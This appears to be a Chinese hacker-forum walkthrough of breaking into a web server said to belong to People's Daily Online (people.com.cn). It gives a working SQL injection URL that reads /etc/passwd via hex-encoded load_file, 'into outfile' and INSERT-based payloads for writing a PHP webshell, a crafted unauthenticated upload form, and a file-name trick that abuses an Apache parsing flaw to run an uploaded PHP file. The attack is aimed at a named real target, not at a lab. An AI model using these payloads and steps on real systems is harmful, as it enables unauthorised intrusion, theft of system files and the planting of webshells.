http://bbs.blackbap.org/forum.php?mod=viewthread&tid=2537

作者注:
近日看到论坛上有人发了个“全能大牛”的文章,颇有感慨。其实所谓的“全能”,是来自对基础知识的扎实根基。本文虽谈不上“全能”,也并非什么大做,仅为证明只要根基扎实,你也可以“全能”渗透。
本文特意选用人民网(people.com.cn)中的某一服务器上Web站点作为讲解实例,详细讲述如何根据一个小漏洞逐步分析,扩大范围完成进一步渗透的。
本文仅供研究和学习,不得用于非法用途,否则后果自负。
出于隐私保护的目的,文章所有截图和url经过处理。
本文版权所有,转载请注明出处:Silic Group Hacker Army [BlackBap.Org]
作者:YoCo Smart
来自:Silic Group
站点:Http://blackbap.org
相信很多人已经厌倦了这个网络里弥漫的注入,弱口令,万能密码。那么有没有遇到过注入找不到后台,数据库为root或者sa账户却无法写入webshell,得到了后台却拿不到webshell,拿到了webshell却无法提权?????
本文所阐述的例子是:
一台Linux服务器是用了Apache 2.2.10架设了php的网站,数据库为MySQL,网站使用了root账户,但是网站没有后台,也没有phpMyAdmin,服务器中存在一个注入点。因为gpc为on,所以无法写入webshell,但是可以读取服务器上一些已知路径的文件。
那么我们就通过本文来讲一下,如何通过这个注入点,进行下一步渗透的。
我们先来简单描述一下注入点(如果不懂php+MySQL的注入,请参见《各色SQL注入文章汇总》)
注入点:

*.people.com.cn/vote.php?id=3

这个注入点根据存在的文件名就知道,应该是一个投票页面,因为union只有一个字段,所以直接

*.people.com.cn/vote.php?id=3+union+select+load_file(0x2f6574632f706173737764)+from+mysql.user

就能读到文件了。根据错误回显,得到网站路径为/usr/www。因为gpc设置on,所以

union select 一句话的hex into outfile '/usr/www/可写目录/webshell.php'

这样是得不到webshell的,查到MySQL.user中设置的host为%,但是这台服务器对外网实际并未开放3306端口,也无法外联。
那么思路是什么呢?
我们来试着读取网站文件的源码来查找一些其他的漏洞。

我们首先来读取一下/usr/www/vote.php这个存在注入的文件的代码(节选,有删改):

require ('xajax/xajax.inc.php');

$link=mysql_connect("localhost","root","*******") or die ('数据库连接失败:'.mysql_error());

$select=mysql_select_db("vote", $link);

$SID=$_GET['sid'];

$typeId=$_GET['typeid'];

/*这是第1个函数,显示投票结果*/

function shownum($SID,$typeId){//点击按钮的返回值

$sql = "select numUp from zhendang where SID = ".$SID." and typeId=".$typeId."   ";

$info=mysql_query($sql);

$it=mysql_fetch_array($info);

return $it['0'];

}

/*这是第2个函数,编者已做注释,是投票计数函数*/

function updatemysql($SID,$typeId){//点击按钮

$sqladd="update zhendang set numUp=numUp+1 where SID = ".$SID." and typeId=".$typeId."  ";

mysql_query($sqladd);

}

唯一能看到的就是select一个字段数的注入。这里似乎能够利用的可能性只有注入中的load_file()。
当然了,思路不能只局限在vote.php一个页面,因为要挖漏洞嘛,就一定要深。我读了很多php文件,都没有找到eval()函数,或者是assert()又或者是exec()这样的凡是能造成安全问题的函数。
不过有一个文件引起了我的注意,有一个information.php的文件,看一下文件的代码是哪里引起了我的注意(节选代码,有删减)

if($upload_pic!=""){

/*下面的#注释都是由编写者添加,有调试代码有功能注释*/

$allowed_types=array('jpg','gif','png');

#正则表达式匹配出上传文件的扩展名

preg_match('|\.(\w+)$|', $com_pic,$ext);

#print_r($ext);

#转化成小写

$ext = strtolower($ext[1]);

#判断是否在被允许的扩展名里

if(!in_array($ext, $allowed_types)){

        $objResponse->addAlert('不被允许的文件类型') ;

        return $objResponse;

        }

}

这里有一个函数用于检查上传文件的后缀名。既然有检查功能,想必是会有上传功能的,虽然有后缀名检查,但是我们还是看看为好。
information.php文件中的上传功能用浏览器打开后并没有发现,估计是要注册以后登陆才能用的。
那么再看看它的源码:

<form action="form.php" method="post" name="form1" id="form1" enctype="multipart/form-data">

看来这个上传以后的文件是传给form.php的,而information.php只处理上传文件的后缀名检查。那么我们再看看form.php的代码(节选,有删改):

<?php

include("inc.php");

$user=$_POST['user'];

$area=$_POST['area'];

$type=$_POST['type'];

$title=$_POST['title'];

$context=$_POST['context'];

$pic=$HTTP_POST_FILES['pic'];

//echo $pic[size];

if($title==""){echo "alert('警告!')";exit;}

if($context==""){echo "alert('警告!')";exit;}

if(!$pic['name']==""){

//....略

else {

$sql="insert into plaint(user,area,type,title,content,time) values ('".$user."','".$area."','".$type."','".$title."','".$context."','".date("Y-m-d H:i:s")."')";

$link=mysql_connect("localhost","root","*******")or die("数据库异常");

$select=mysql_select_db("datab", $link);

@mysql_query($sql);

@mysql_close();

//...略

粗略的看了一下,inc.php当中居然没有session检查的相关,也就是说,任何人都可以POST数据到form.php
那么我们就根据页面代码构造一个本地POST的html
关于构造本地html文件POST数据,可以参考一下这篇文章:《POST表单与上传突破JS后缀名检查分析

<form action="http://*.people.com.cn/form.php" method="post" name="form1" enctype="multipart/form-data">

<input type="text" name="area" value="选项1,反正没检查,随便写" /><br />

<input type="text" name="type" value="选项2,反正没检查,随便写" /><br />

<input type="text" name="user" value="user_name"/><br />

<input type="text" name="title" value="各种各种各种题目"><br />

<textarea name="context" cols="60" rows="20">各种各种各种各种各种各种各种各种各种各种各种各种各种各种各种各种各种各种各种</textarea><br />

<input type="submit" value="提交"></form>

这样试了一下,还真的提示提交成功了。
先在php中eval(echo date("Y-m-d H:i:s"));看了一下内容:“2012-04-20 13:18:51”
那么根据原系统SQL语句:

$sql="insert into plaint(user,area,type,title,content,time) values ('".$user."','".$area."','".$type."','".$title."','".$context."','".date("Y-m-d H:i:s")."')";

根据注入的思想,我们可以让insert这样执行:

"insert into plaint(user,area,type,title,content,time)values('user_name','选项1,反正没检查,随便写','选项2,反正没检查,随便写','各种各种各种题目','各种各种各种各',(select 0x3a into outfile "/usr/ww/可写目录/webshell.php")')+--+#','2012-04-20 13:18:51')"

因为insert into支持(字段,字段)values('值',(SQL语句))的用法,而POST可以绕过gpc,这样尝试也许可以写入一句话。
也许上各位看上面的SQL语句大概没明白,我们改改POST的html文件再看看明白不明白呢

<textarea name="context" cols="60" rows="20">各种各种各种...</textarea>

<textarea name="context" cols="60" rows="20">各种各种各种...',(select 0x3a into outfile "/usr/ww/可写目录/webshell.php")')+--+#</textarea>

这不知道算不算POST注入中的一种呢
不过重复POST数据,却并没有成功。问题出在哪里呢?再好好查查问题吧。
应该出在inc.php,看代码:

<?php

//要过滤的非法字符

$ArrFiltrate=array("'","script","<",">","union","select","update","and","create","drop","or","insert","load_file","0x","etc","www","Mr.","etc","passwd","print","http://");

$StrGoUrl="";

//是否存在数组中的值

function FunStringExist($StrFiltrate,$ArrFiltrate){

foreach ($ArrFiltrate as $key=>$value){

if (eregi($value,$StrFiltrate)){

return true;

}

}

return false;

}

//合并$_POST 和 $_GET

if(function_exists(array_merge)){

$ArrPostAndGet=array_merge($HTTP_POST_VARS,$HTTP_GET_VARS);

}else{

foreach($HTTP_POST_VARS as $key=>$value){

$ArrPostAndGet[]=$value;

}

foreach($HTTP_GET_VARS as $key=>$value){

$ArrPostAndGet[]=$value;

}

}

看来还是有过滤检查的,这样的话insert into的注入就不能用了,或者说可能过滤以后有inc.php这个页面的注入都不能用了,虽然过滤的不太完善,不过也够费劲的了。
上面是当上传文件为空的时候,系统执行的SQL语句,我们再来看看上传文件不为空的代码:

if(!$pic['name']==""){

$dest_dir='upload';

$dest=$dest_dir.'/'.date("ydm")."_".$user.".jpg";

//设置文件名为日期加上文件名避免重复

$r=move_uploaded_file($com_pic['tmp_name'],$dest);

$sql="insert into complaint(user,area,type,title,content,time,pic)values('".$user."','".$area."','".$type."','".$title."','".$context."','".date("Y-m-d H:i:s")."','".$dest."')";

$link=mysql_connect("localhost","root","*******") or die("数据库异常");

$select=mysql_select_db("datab",$link);

@mysql_query($sql);

@mysql_close();

我们结合上面的代码

$user=$_POST['user'];

//对用户名取值,但是没做session验证

<input type="hidden" name="user" id="user" value="9476"/>

然后在看:
$dest= 'upload/'.date("ydm")."_".$user.".jpg";
只要上传的文件是.gif和.jpg和.png的后缀名,那么上传的文件就应该放在:
upload/122004_9476.jpg
其中upload/目录是固定的,122004是当前的日期,12是2012年,2004是04月20日,中间的下划线_是固定的,最后的.jpg也是固定的后缀名
唯一可以变的就是$user这个变量。
这套程序看似漏洞百出,其实也不太好突破。
关于上传文件的命名方式,我们不妨参考一下:《PHPWEB网站管理系统后台Kedit编辑器漏洞利用代码

<form action="http://*.people.com.cn/form.php" method="post" name="form" enctype="multipart/form-data">

<input type="text" name="area" value="选项1,反正没检查,随便写" /><br />

<input type="text" name="type" value="选项2,反正没检查,随便写" /><br />

<input type="text" name="user" value="a.php;a.aaa"/><br />

<input type="file" name="pic" id="pic" /><br />

<input type="text" name="title" value="各种各种各种题目"><br />

<textarea name="context" cols="60" rows="20">各种各种各种各种各种各种各种各种各种各种各种各种各种各种各种各种各种各种各种</textarea><br />

<input type="submit" value="提交"></form>

构造好了以后,就能POST上去一个文件了。根据对代码的分析,最终得到的文件应该就是:upload/122004_a.php;a.aaa.jpg了
根据资料,Apache2中存在解析漏洞的版本为<=2.2.11
而人民网的此服务器Apache的版本是Apache 2.2.10 你懂的
本来打算用一个终止符%00来终止后缀名.jpg,但是最终得到的却是把%00带进了真实的文件名,通过访问upload/122004_a.php%2500a.jpg证实
后来才明白,%00这个通过POST提交以后似乎不能转换成真正的终止符\0???需要直接POST这个\0终止符才行
此文章基于对隐私的保护,故将真实url隐去,未上传截图也是出于此目的。
如果有人怀疑本文章所选例子的真实性,我只能说文章中的代码和实际代码确实不是一模一样,但是漏洞是一模一样的
本文出自:Silic Group核心群 & Silic Group项目开发群

源链接

Hacking more

...